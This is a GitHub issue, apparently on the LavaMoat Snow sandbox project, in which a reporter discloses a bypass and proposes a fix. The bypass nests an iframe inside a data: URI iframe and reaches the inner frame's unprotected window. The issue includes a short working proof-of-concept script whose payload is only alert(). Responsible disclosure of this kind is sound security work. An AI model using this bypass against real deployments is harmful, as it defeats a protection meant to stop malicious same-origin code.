-
Notifications
You must be signed in to change notification settings - Fork 7
Closed
Labels
enhancementNew feature or requestNew feature or requestvulnerabilityIntroduces snow bypassIntroduces snow bypass
Description
Hey Gal! Nice to "meet you". I was reading your DevTools detection mechanism yesterday and I ended up landing into this LavaMoat. The challenge looked interesting (you know, when it bites you, you can't stop!) so I give it a few tries, and luckily, it worked!
Here's the code. I believe the best strategy to patch this would be to check whenever a non-accessible domain has iFrames inside, and if that's the case you can continue iterating and testing until you make sure none has access.
Have a great day!
iFrame = document.createElement('iframe');
iFrame.src="data:text/html,A<iframe src=https://lavamoat.github.io/snow/></iframe>";
document.body.appendChild(iFrame);
// At this point, your fantastic script can't access the first iFrame because of the data: URI, however you should have access to the internal one as soon as it renders.
// Let's give a bit of time for the internal iFrame to render before accessing its window object
setTimeout(() => {
iFrame.contentWindow[0].alert.call( top, 'did it work?!' );
}, 500);arxenix and shaulhameed
Metadata
Metadata
Assignees
Labels
enhancementNew feature or requestNew feature or requestvulnerabilityIntroduces snow bypassIntroduces snow bypass